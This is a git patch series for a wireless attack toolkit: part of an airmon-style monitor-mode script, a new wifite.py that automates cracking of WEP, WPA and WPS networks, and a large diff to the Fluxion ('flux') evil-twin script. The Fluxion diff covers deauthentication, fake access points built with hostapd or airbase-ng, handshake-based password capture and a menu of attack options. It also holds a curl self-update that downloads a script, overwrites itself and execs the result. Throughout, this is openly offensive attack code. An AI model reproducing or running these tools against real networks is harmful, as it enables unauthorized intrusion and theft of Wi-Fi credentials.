+ continue + fi + + + if [ x$DRIVER = "xprism54" ] || [ x"`iwpriv $iface 2>/dev/null | grep getPolicy`" != "x" ] + then + printf "$iface\t\tPrismGT\t\tprism54" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + cp $KISMET~ $KISMET 2>/dev/null && + echo "source=prism54g,$iface,Prism54" >>$KISMET + ifconfig $iface up + if [ $CH -lt 1000 ] + then + iwconfig $iface mode Monitor channel $CH + else + iwconfig $iface mode Monitor freq "$CH"000000 + fi + iwpriv $iface set_prismhdr 1 >/dev/null 2>&1 + printf " (monitor mode enabled)" + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + fi + echo + continue + fi + + + if [ x$DRIVER = "xhostap" ] || [ x"`iwpriv $iface 2>/dev/null | grep antsel_rx`" != "x" ] + then + printf "$iface\t\tPrism 2/2.5/3\tHostAP" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + cp $KISMET~ $KISMET 2>/dev/null && + echo "source=hostap,$iface,Prism2" >>$KISMET + if [ $CH -lt 1000 ] + then + iwconfig $iface mode Monitor channel $CH + else + iwconfig $iface mode Monitor freq "$CH"000000 + fi + iwpriv $iface monitor_type 1 >/dev/null 2>&1 + ifconfig $iface up + printf " (monitor mode enabled)" + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + fi + echo + continue + fi + + + if [ x$DRIVER = "xwlan-ng" ] || [ x"`wlancfg show $iface 2>/dev/null | grep p2CnfWEPFlags`" != "x" ] + then + printf "$iface\t\tPrism 2/2.5/3\twlan-ng" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + cp $KISMET~ $KISMET 2>/dev/null && + echo "source=wlanng,$iface,Prism2" >>$KISMET + wlanctl-ng $iface lnxreq_ifstate ifstate=enable >/dev/null + wlanctl-ng $iface lnxreq_wlansniff enable=true channel=$CH \ + prismheader=true wlanheader=false \ + stripfcs=true keepwepflags=true >/dev/null + echo p2CnfWEPFlags=0,4,7 | wlancfg set $iface + ifconfig $iface up + printf " (monitor mode enabled)" + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + ifconfig $iface down + wlanctl-ng $iface lnxreq_wlansniff enable=false >/dev/null + wlanctl-ng $iface lnxreq_ifstate ifstate=disable >/dev/null + printf " (monitor mode disabled)" + fi + echo + continue + fi + + + if [ x$SYSFS = "x" ] && [ x"`iwpriv $iface 2>/dev/null | grep get_RaAP_Cfg`" != "x" ] + then + if [ x"`iwconfig $iface | grep ESSID | awk -F\ '{ print $2}' | grep -i rt61`" != "x" ] + then + printf "$iface\t\tRalink 2561 PCI\trt61" + fi + + if [ x"`iwconfig $iface | grep ESSID | awk -F\ '{ print $2}' | grep -i rt73`" != "x" ] + then + printf "$iface\t\tRalink 2573 USB\trt73" + fi + + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + startStdIface $iface $CH + iwpriv $iface rfmontx 1 + if [ x"`iwpriv $iface 2>/dev/null | grep forceprismheader`" != "x" ] + then + iwpriv $iface forceprismheader 1 + fi + if [ x"`iwpriv $iface 2>/dev/null | grep forceprism`" != "x" ] + then + iwpriv $iface forceprism 1 + fi + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + fi + echo + continue + + fi + + + if [ x$DRIVER = "xrt61" ] + then + printf "$iface\t\tRalink 2561 PCI\trt61" + + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + startStdIface $iface $CH + iwpriv $iface rfmontx 1 + if [ x"`iwpriv $iface 2>/dev/null | grep forceprismheader`" != "x" ] + then + iwpriv $iface forceprismheader 1 + fi + if [ x"`iwpriv $iface 2>/dev/null | grep forceprism`" != "x" ] + then + iwpriv $iface forceprism 1 + fi + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + fi + echo + continue + + fi + + + if [ x$DRIVER = "xrt73" ] + then + printf "$iface\t\tRalink 2573 USB\trt73" + + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + startStdIface $iface $CH + iwpriv $iface rfmontx 1 + if [ x"`iwpriv $iface 2>/dev/null | grep forceprismheader`" != "x" ] + then + iwpriv $iface forceprismheader 1 + fi + if [ x"`iwpriv $iface 2>/dev/null | grep forceprism`" != "x" ] + then + iwpriv $iface forceprism 1 + fi + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + fi + echo + continue + + fi + + + if [ x$DRIVER = "xrt2500" ] || [ x"`iwpriv $iface 2>/dev/null | grep bbp`" != "x" ] + then + printf "$iface\t\tRalink 2560 PCI\trt2500" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + cp $KISMET~ $KISMET 2>/dev/null && + echo "source=rt2500,$iface,Ralink_g" >>$KISMET + iwconfig $iface mode ad-hoc 2> /dev/null >/dev/null + startStdIface $iface $CH + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + fi + echo + continue + fi + + + if [ x$DRIVER = "xrt2570" ] || [ x"`iwpriv $iface 2>/dev/null | grep wpapsk`" != "x" ] && [ x"`iwpriv $iface 2>/dev/null | grep get_RaAP_Cfg`" = "x" ] + then + printf "$iface\t\tRalink 2570 USB\trt2570" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + cp $KISMET~ $KISMET 2>/dev/null && + echo "source=rt2500,$iface,Ralink_g" >>$KISMET + iwconfig $iface mode ad-hoc 2> /dev/null >/dev/null + startStdIface $iface $CH + if [ x"`iwpriv $iface 2>/dev/null | grep forceprismheader`" != "x" ] + then + iwpriv $iface forceprismheader 1 + fi + if [ x"`iwpriv $iface 2>/dev/null | grep forceprism`" != "x" ] + then + iwpriv $iface forceprism 1 + fi + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + fi + echo + continue + fi + + + if [ x$DRIVER = "xr8180" ] || [ x"`iwpriv $iface 2>/dev/null | grep debugtx`" != "x" ] + then + printf "$iface\t\tRTL8180/RTL8185\tr8180" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + cp $KISMET~ $KISMET 2>/dev/null && + echo "source=rt8180,$iface,Realtek" >>$KISMET + if [ $CH -lt 1000 ] + then + iwconfig $iface mode Monitor channel $CH + else + iwconfig $iface mode Monitor freq "$CH"000000 + fi + if [ x"`iwpriv $iface 2>/dev/null | grep prismhdr`" != "x" ] + then + iwpriv $iface prismhdr 1 >/dev/null 2>&1 + fi + ifconfig $iface up + printf " (monitor mode enabled)" + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + fi + echo + continue + fi + + + if [ x$DRIVER = "xr8187" ] || [ x"`iwpriv $iface 2>/dev/null | grep badcrc`" != "x" ] + then + printf "$iface\t\tRTL8187\t\tr8187" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + cp $KISMET~ $KISMET 2>/dev/null && + echo "source=rt8180,$iface,Realtek" >>$KISMET + if [ $CH -lt 1000 ] + then + iwconfig $iface mode Monitor channel $CH + else + iwconfig $iface mode Monitor freq "$CH"000000 + fi + if [ x"`iwpriv $iface 2>/dev/null | grep rawtx`" != "x" ] + then + iwpriv $iface rawtx 1 >/dev/null 2>&1 + fi + ifconfig $iface up + printf " (monitor mode enabled)" + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + fi + echo + continue + fi + + + if [ x$DRIVER = "xzd1211rw" ] || [ x"`iwpriv $iface 2>/dev/null | grep get_regdomain`" != "x" ] + then + printf "$iface\t\tZyDAS 1211\tzd1211rw" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + cp $KISMET~ $KISMET 2>/dev/null && + echo "source=zd1211,$iface,ZyDAS" >>$KISMET + startStdIface $iface $CH + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + fi + echo + continue + fi + + + if [ x$DRIVER = "xzd1211" ] || [ x"`iwpriv $iface 2>/dev/null | grep dbg_flag`" != "x" ] + then + printf "$iface\t\tZyDAS 1211\tzd1211" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + cp $KISMET~ $KISMET 2>/dev/null && + echo "source=zd1211,$iface,ZyDAS" >>$KISMET + startStdIface $iface $CH + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + fi + echo + continue + fi + + + if [ x$DRIVER = "xacx" ] || [ x"`iwpriv $iface 2>/dev/null | grep GetAcx1`" != "x" ] + then + printf "$iface\t\tTI ACX1xx\tacx" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + cp $KISMET~ $KISMET 2>/dev/null && + echo "source=acx100,$iface,TI" >>$KISMET + iwpriv $iface monitor 2 $CH 2> /dev/null >/dev/null + startStdIface $iface $CH + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + fi + echo + continue + fi + + + if [ x$DRIVER = "xbcm43xx" ] || [ x"`iwpriv $iface 2>/dev/null | grep write_sprom`" != "x" ] + then + printf "$iface\t\tBroadcom\tbcm43xx" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + cp $KISMET~ $KISMET 2>/dev/null && + echo "source=bcm43xx,$iface,broadcom" >>$KISMET + startStdIface $iface $CH + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + ifconfig $iface up + fi + echo + continue + fi + + + if [ x$DRIVER = "xislsm" ] || [ x"`iwpriv $iface 2>/dev/null | grep set_announcedpkt`" != "x" ] + then + printf "$iface\t\tPrismGT\t\tislsm" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + startStdIface $iface $CH + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + fi + echo + continue + + fi + + + if [ x$DRIVER = "xat76c503a" ] || [ x"`iwpriv $iface 2>/dev/null | grep set_announcedpkt`" != "x" ] + then + printf "$iface\t\tAtmel\t\tat76c503a" + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + startStdIface $iface $CH + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + fi + echo + continue + + fi + + + if [ x$DRIVER = "xndiswrapper" ] || [ x"`iwpriv $iface 2>/dev/null | grep ndis_reset`" != "x" ] + then + printf "$iface\t\tUnknown\t\tndiswrapper" + if [ x$2 = x$iface ] + then + echo " (MONITOR MODE NOT SUPPORTED)" + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + fi + echo + continue + fi + + + if [ x$DRIVER != "x" ] + then + if [ x$CHIPSET = "x" ] + then + printf "$iface\t\tUNKNOWN\t\t$DRIVER" + else + printf "$iface\t\t$CHIPSET\t\t$DRIVER" + fi + + if [ x$1 = "xstart" ] && [ x$2 = x$iface ] + then + startStdIface $iface $CH + fi + if [ x$1 = "xstop" ] && [ x$2 = x$iface ] + then + stopStdIface $iface + fi + echo + continue + fi + +printf "$iface\t\tUnknown\t\tUnknown (MONITOR MODE NOT SUPPORTED)\n" + +done + +################################ < STOP > ######################### From cbcedb22495ea9e619ed2fd32fa4458d60e0d676 Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 13 Mar 2016 02:47:31 +0400 Subject: [PATCH 019/294] Create wifite.py --- wifite.py | 188 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 188 insertions(+) create mode 100644 wifite.py diff --git a/wifite.py b/wifite.py new file mode 100644 index 0000000..b77b1a6 --- /dev/null +++ b/wifite.py @@ -0,0 +1,188 @@ +#!/usr/bin/python2.7 + +from py.Configuration import Configuration +from py.Scanner import Scanner +from py.Color import Color +from py.AttackWEP import AttackWEP +from py.AttackWPA import AttackWPA +from py.AttackWPS import AttackWPS +from py.CrackResult import CrackResult +from py.Handshake import Handshake + +from json import loads +import os + +class Wifite(object): + + def main(self): + ''' Either performs action based on arguments, or starts attack scanning ''' + + if os.getuid() != 0: + Color.pl('{!} {R}error: {O}wifite{R} must be run as {O}root{W}') + Color.pl('{!} {O}re-run as: sudo ./Wifite.py{W}') + return + + Configuration.initialize(load_interface=False) + + if Configuration.show_cracked: + self.display_cracked() + + elif Configuration.check_handshake: + self.check_handshake(Configuration.check_handshake) + + elif Configuration.crack_wpa: + # TODO: Crack .cap file at crack_wpa + Color.pl('{!} Unimplemented method: crack_wpa') + pass + elif Configuration.crack_wep: + # TODO: Crack .cap file at crack_wep + Color.pl('{!} Unimplemented method: crack_wep') + pass + elif Configuration.update: + # TODO: Get latest version from github + Color.pl('{!} Unimplemented method: update') + pass + else: + Configuration.get_interface() + self.run() + + def display_cracked(self): + ''' Show cracked targets from cracked.txt ''' + Color.pl('{+} displaying {C}cracked target(s){W}') + name = CrackResult.cracked_file + if not os.path.exists(name): + Color.pl('{!} {O}file {C}%s{O} not found{W}' % name) + return + f = open(name, 'r') + json = loads(f.read()) + f.close() + for (index, item) in enumerate(json): + Color.pl('\n{+} Cracked target #%d:' % (index + 1)) + cr = CrackResult.load(item) + cr.dump() + + def check_handshake(self, capfile): + ''' Analyzes .cap file for handshake ''' + Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile) + if not os.path.exists(capfile): + Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile) + return + hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid) + hs.analyze() + + + def run(self): + ''' + Main program. + 1) Scans for targets, asks user to select targets + 2) Attacks each target + ''' + s = Scanner() + if s.target: + # We found the target we want + targets = [s.target] + else: + targets = s.select_targets() + + targets_remaining = len(targets) + for index, t in enumerate(targets): + targets_remaining -= 1 + + Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (index + 1, len(targets)) + + ' starting attacks against {C}%s{W} ({C}%s{W})' + % (t.bssid, t.essid)) + if 'WEP' in t.encryption: + attack = AttackWEP(t) + elif 'WPA' in t.encryption: + if t.wps: + attack = AttackWPS(t) + result = False + try: + result = attack.run() + except KeyboardInterrupt: + if not self.user_wants_to_continue(targets_remaining, 1): + break + + if result and attack.success: + # We cracked it. + attack.crack_result.save() + continue + else: + # WPS failed, try WPA handshake. + attack = AttackWPA(t) + else: + # Not using WPS, try WPA handshake. + attack = AttackWPA(t) + else: + Color.pl("{!} {R}Error: {O}unable to attack: encryption not WEP or WPA") + continue + + try: + attack.run() + except KeyboardInterrupt: + if not self.user_wants_to_continue(targets_remaining): + break + + if attack.success: + attack.crack_result.save() + + + def print_banner(self): + """ Displays ASCII art of the highest caliber. """ + Color.pl("") + Color.pl("{G} .;' `;, ") + Color.pl("{G} .;' ,;' `;, `;, {W}WiFite v%.2f" % Configuration.version) + Color.pl("{G}.;' ,;' ,;' `;, `;, `;, ") + Color.pl("{G}:: :: : {GR}( ){G} : :: :: {W}Automated Wireless Auditor") + Color.pl("{G}':. ':. ':. {GR}/_\\{G} ,:' ,:' ,:' ") + Color.pl("{G} ':. ':. {GR}/___\\{G} ,:' ,:' {C}https://github.com/derv82/wifite2{W}") + Color.pl("{G} ':. {GR}/_____\\{G} ,:' ") + Color.pl("{G} {GR}/ \\{G} ") + Color.pl("{W}") + + + def user_wants_to_continue(self, targets_remaining, attacks_remaining=0): + ''' Asks user if attacks should continue onto other targets ''' + Color.pl('\n{!} {O}interrupted{W}\n') + if attacks_remaining == 0 and targets_remaining == 0: + # No targets or attacksleft, drop out + return + + prompt_list = [] + if attacks_remaining > 0: + prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining)) + if targets_remaining > 0: + prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining)) + prompt = ' and '.join(prompt_list) + Color.pl('{+} %s remain, do you want to continue?' % prompt) + + prompt = Color.s('{+} type {G}c{W} to {G}continue{W}' + + ' or {R}s{W} to {R}stop{W}: ') + + if raw_input(prompt).lower().startswith('s'): + return False + else: + return True + + +if __name__ == '__main__': + w = Wifite() + try: + w.print_banner() + w.main() + except Exception, e: + Color.pl('\n{!} {R}Error:{O} %s{W}' % str(e)) + if Configuration.verbose > 0: + Color.pl('\n{!} {O}Full stack trace below') + from traceback import format_exc + Color.p('\n{!} ') + err = format_exc().strip() + err = err.replace('\n', '\n{!} {C} ') + err = err.replace(' File', '{W}File') + err = err.replace(' Exception: ', '{R}Exception: {O}') + Color.pl(err) + Color.pl('\n{!} {R}Exiting{W}\n') + except KeyboardInterrupt: + Color.pl('\n{!} {O}interrupted{W}') + Configuration.exit_gracefully(0) + From ad1a33e70ab8ed3348da7ae62274061966b2b07e Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 13 Mar 2016 02:53:32 +0400 Subject: [PATCH 020/294] Update flux --- flux | 8471 +++++++++++++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 7853 insertions(+), 618 deletions(-) diff --git a/flux b/flux index c0cc240..32617b2 100755 --- a/flux +++ b/flux @@ -1,9 +1,9 @@ #!/bin/bash ########## DEBUG Mode ########## -## ## +## ## FLUX_DEBUG=0 -## ## +## ## ################################ @@ -17,8 +17,8 @@ clear DUMP_PATH="/tmp/TMPflux" # Number de desautentificaciones DEAUTHTIME="30" -revision=5 -version=0.17 +revision=4 +version=0.18 IP=192.168.1.1 RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) @@ -50,10 +50,14 @@ function conditional_clear() { if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi } +function airmon { + sudo chmod +x airmon +} +airmon # Check Updates function checkupdatess { - revision_online="$(timeout -s SIGTERM 20 curl -L "https://sites.google.com/site/deltaxflux/flux" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" + revision_online="$(timeout -s SIGTERM 20 curl -L "https://sites.google.com/site/deltaxflux/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" if [ -z "$revision_online" ]; then echo "?">$DUMP_PATH/Irev else @@ -97,7 +101,7 @@ trap exitmode SIGINT SIGHUP # KILL ALL function exitmode { - echo -e "\n\n"$white"["$red" "$white"] "$red"Cleaning and closing"$transparent"" + echo -e "\n\n"$white"["$red"-"$white"] "$red"Cleaning and closing"$transparent"" if ps -A | grep -q aireplay-ng; then echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"aireplay-ng"$transparent"" @@ -135,17 +139,17 @@ function exitmode { fi if [ "$WIFI_MONITOR" != "" ]; then - echo -e ""$white"["$red"-"$white"] "$white"Stopping interface "$green "$WIFI_MONITOR"$transparent"" - airmon-ng stop $WIFI_MONITOR &> $flux_output_device + echo -e ""$weis"["$rot"-"$weis"] "$weis"Detect Interface "$verde"$WIFI_MONITOR"$transparent"" + ./airmon stop $WIFI_MONITOR &> $flux_output_device fi - - + if [ "$WIFI" != "" ]; then - echo -e ""$white"["$red"-"$white"] "$white"Stopping interface "$green "$WIFI"$transparent"" - airmon-ng stop $WIFI &> $flux_output_device + echo -e ""$weis"["$rot"-"$weis"] "$weis"Detect Interface "$verde"$WIFI"$transparent"" + ./airmon stop $WIFI &> $flux_output_device fi + if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"ipforwarding"$transparent"" echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding @@ -169,7 +173,7 @@ function exitmode { echo -e ""$white"["$red"-"$white"] "$white"Restarting "$grey"NetworkManager"$transparent"" service restart network-manager &> $flux_output_device & - echo -e ""$white"["$green "+"$white"] "$green "Cleaning performed successfully!"$transparent"" + echo -e ""$white"["$green"+"$white"] "$green"Cleaning performed successfully!"$transparent"" exit } @@ -247,19 +251,21 @@ DIALOG_WEB_LENGHT_MIN_POR="A senha deve ter mais de 7 caracteres" DIALOG_WEB_LENGHT_MAX_POR="A chave deve ser menor que 64 caracteres" # Design +#* * +#*+++* function mostrarheader(){ conditional_clear - echo -e "$green #########################################################" - echo -e "$green # #" - echo -e "$green #$red FLUX $version" "${yellow}by ""${blue}deltax""$green #"${blue} - echo -e "$green #""${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}N""${yellow}ot a ""${red}S""${yellow}ocial ""${red}E""${yellow}nginering" "${red}T""${yellow}ool""$green #" - echo -e "$green # #" - echo -e "$green #########################################################""$transparent" + echo -e "$blue#########################################################" + echo -e "$blue# #" + echo -e "$blue# $red FLUXION $version" "${yellow} ${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture " ${blue}" #" + echo -e "$blue#"${yellow} by "${red}D""${yellow}eltax", "${red}"S""${yellow}"trasharo and "${red}A""${yellow}patheticEuphoria" " ${blue}#"" + echo -e "$blue# #" + echo -e "$blue#########################################################""$transparent" echo echo -} +} ##################################### < CONFIGURACION > ##################################### @@ -459,14 +465,13 @@ fi if [ $FLUX_DEBUG != 1 ]; then echo "" - sleep 0.1 && echo -e $red " LUXFLUXFLUX UXF UXF UX UX" - sleep 0.1 && echo -e $red " LUXFLUXFLUX UXF UXF UX UX" - sleep 0.1 && echo -e $red " LU UX XF UXF FL FL " - sleep 0.1 && echo -e $red " LUXFLU UX XF UXF LUXF" - sleep 0.1 && echo -e $red " LUXFL UX XF UXF LUX" - sleep 0.1 && echo -e $red " LU UX XF UXF FLUXF " - sleep 0.1 && echo -e $red " LU UX XFL UXF XFL FL " - sleep 0.1 && echo -e $red " LU UXFLUXFL FLUXFLUX XF LUXF" + sleep 0.1 && echo -e $red "O))))))))O)) O)) O))O)) O))O)) O)))) O))) O))" + sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O)) O)) O)) O) O)) O))" + sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O))O)) O))O)) O)) O))" + sleep 0.1 && echo -e $red "O)))))) O)) O)) O)) O)) O))O)) O))O)) O)) O))" + sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O))O)) O))O)) O) O))" + sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O)) O)) O)) O)) O) ))" + sleep 0.1 && echo -e $red "O)) O)))))))) O))))) O)) O))O)) O)))) O)) O))" echo "" sleep 1 @@ -480,22 +485,22 @@ if [ $FLUX_DEBUG != 1 ]; then spinner "$!" revision_online=$(cat $DUMP_PATH/Irev) echo -e ""$white" [${red2}${revision_online}$white"$transparent"]" - if [ "$revision_online" != "?" ]; then - - if [ "$revision" != "$revision_online" ]; then - - cp $0 $HOME/flux_rev-$revision.backup - curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0" -L https://sites.google.com/site/deltaxflux/flux -s -o $0 - echo - echo - echo -e ""$red" -Updated successfully! Restarting the script to apply the changes ..."$transparent"" - sleep 5 - chmod +x $0 - exec $0 - - fi - fi +# if [ "$revision_online" != "?" ]; then +# +# if [ "$revision" != "$revision_online" ]; then +# +# cp $0 $HOME/flux_rev-$revision.backup +# curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0" -L https://sites.google.com/site/deltaxflux/fluxion -s -o $0 +# echo +# echo +# echo -e ""$red" +#Updated successfully! Restarting the script to apply the changes ..."$transparent"" +# sleep 5 +# chmod +x $0 +# exec $0 +# +# fi +# fi echo "" tput cnorm sleep 2 @@ -509,10 +514,10 @@ function infoap { Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` echo "INFO WIFI" echo - echo -e " "$green "SSID"$transparent" = $Host_SSID / $Host_ENC" - echo -e " "$green "Channel"$transparent" = $channel" - echo -e " "$green "Speed"$transparent" = ${speed:2} Mbps" - echo -e " "$green "BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL"$transparent")" + echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC" + echo -e " "$blue"Channel"$transparent" = $channel" + echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps" + echo -e " "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL"$transparent")" echo } @@ -606,13 +611,13 @@ function setinterface { KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` for monkill in ${KILLMONITOR[@]}; do - airmon-ng stop $monkill >$flux_output_device + ./airmon stop $monkill >$flux_output_device echo -n "$monkill, " done # Create a variable with the list of physical network interfaces - readarray -t wirelessifaces < <(airmon-ng |grep "-" | cut -d- -f1) - INTERFACESNUMBER=`airmon-ng| grep -c "-"` + readarray -t wirelessifaces < <(./airmon |grep "-" | cut -d- -f1) + INTERFACESNUMBER=`./airmon| grep -c "-"` echo echo @@ -631,7 +636,7 @@ function setinterface { for line in "${wirelessifaces[@]}"; do i=$(($i+1)) wirelessifaces[$i]=$line - echo -e "$green ""$i)"$transparent" $line" + echo -e "$blue ""$i)"$transparent" $line" done echo -n "#? " @@ -644,8 +649,8 @@ function setinterface { setinterface fi - readarray -t softwaremolesto < <(airmon-ng check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') - WIFIDRIVER=$(airmon-ng | grep "$PREWIFI" | awk '{print($(NF-2))}') + readarray -t softwaremolesto < <(./airmon check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') + WIFIDRIVER=$(./airmon | grep "$PREWIFI" | awk '{print($(NF-2))}') rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 for molesto in "${softwaremolesto[@]}"; do @@ -660,7 +665,7 @@ function setinterface { break; done - WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) + WIFIMONITOR=$(./airmon start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) WIFI_MONITOR=$WIFIMONITOR WIFI=$PREWIFI @@ -699,8 +704,8 @@ function choosescan { echo "Select channel" echo " " - echo -e " "$green "1)"$transparent" All channels " - echo -e " "$green "2)"$transparent" Specific channel(s) " + echo -e " "$blue"1)"$transparent" All channels " + echo -e " "$blue"2)"$transparent" Specific channel(s) " echo " " echo -n " #> " read yn @@ -722,9 +727,9 @@ function Scanchan { echo " " echo " Select Channel " echo " " - echo -e " Single channel "$green "6"$transparent" " - echo -e " Multiple channels "$green "1-5"$transparent" " - echo -e " Multiple channels "$green "1,2,5-7,11"$transparent" " + echo -e " Single channel "$blue"6"$transparent" " + echo -e " Multiple channels "$blue"1-5"$transparent" " + echo -e " Multiple channels "$blue"1,2,5-7,11"$transparent" " echo " " echo -n " #> " read channel_number @@ -739,7 +744,7 @@ function Scanchan { function Scan { conditional_clear - xterm $HOLD -title "WIFI Monitor" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR + xterm $HOLD -title "WIFI Monitor (CTRL+C When Ready to Select Target)" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR } # Choose a network @@ -788,7 +793,7 @@ function selection { fi done < $DUMP_PATH/dump-02.csv echo - echo -e ""$green "("$white"*"$green ")Fehler"$transparent"" + echo -e ""$green "("$white"*"$green ")Active clients"$transparent"" echo "" echo " Select Target " echo -n " #> " @@ -832,11 +837,13 @@ function askAP { infoap - echo "MODE FakeAP" + echo " ##### Select Attack Option #####" echo " " - echo -e " "$green "1)"$transparent" Hostapd ("$red"Recommend)"$transparent")" - echo -e " "$green "2)"$transparent" airbase-ng (Slower connection)" - echo -e " "$green "3)"$transparent" Back" + echo -e " "$blue"1)"$transparent" FakeAP with Hostapd ("$red"Recommended)"$transparent")" + echo -e " "$blue"2)"$transparent" FakeAP with airbase-ng (Slower connection)" + echo -e " "$blue"3)"$transparent" WPS-SLAUGHER (By:ApatheticEuphoria)" + echo -e " "$blue"4)"$transparent" Wifite Attack (Automated Network Hacking)" + echo -e " "$blue"5)"$transparent" Back" echo " " echo -n " #> " read yn @@ -844,7 +851,9 @@ function askAP { case $yn in 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; 2 ) fakeapmode="airbase-ng"; askauth; break ;; - 3 ) selection; break ;; + 3 ) fakeapdmode="WPS"; wps; break ;; + 4 ) wifite ;; + 5 ) selection; break ;; * ) echo "Unknown option. Choose again"; conditional_clear ;; esac done @@ -855,15 +864,14 @@ function askAP { function askauth { conditional_clear - mostrarheader while true; do echo "METHOD TO VERIFICATION THE PASSWORD" echo " " - echo -e " "$green "1)"$transparent" Handshake ("$red"Recommended"$transparent")" - echo -e " "$green "2)"$transparent" Wpa_supplicant(More failures)" - echo -e " "$green "3)"$transparent" Back" + echo -e " "$blue"1)"$transparent" Handshake ("$red"Recommended"$transparent")" + echo -e " "$blue"2)"$transparent" Wpa_supplicant(More failures)" + echo -e " "$blue"3)"$transparent" Back" echo " " echo -n " #> " read yn @@ -878,628 +886,7855 @@ Unknown option. Choose again"; conditional_clear ;; done } +function wps { -function handshakelocation { - - conditional_clear - - mostrarheader - infoap - echo - echo -e "handshake path (Ej: $red/root/fluxion.cap$transparent)" - echo -e "Press ${yellow}ENTER$transparent to skip" - echo - echo -n "Path: " - echo -ne "$red" - read handshakeloc - echo -ne "$transparent" - - if [ "$handshakeloc" = "" ]; then - deauthforce - else - if [ -f "$handshakeloc" ]; then - Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) - Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') - if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then - if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' 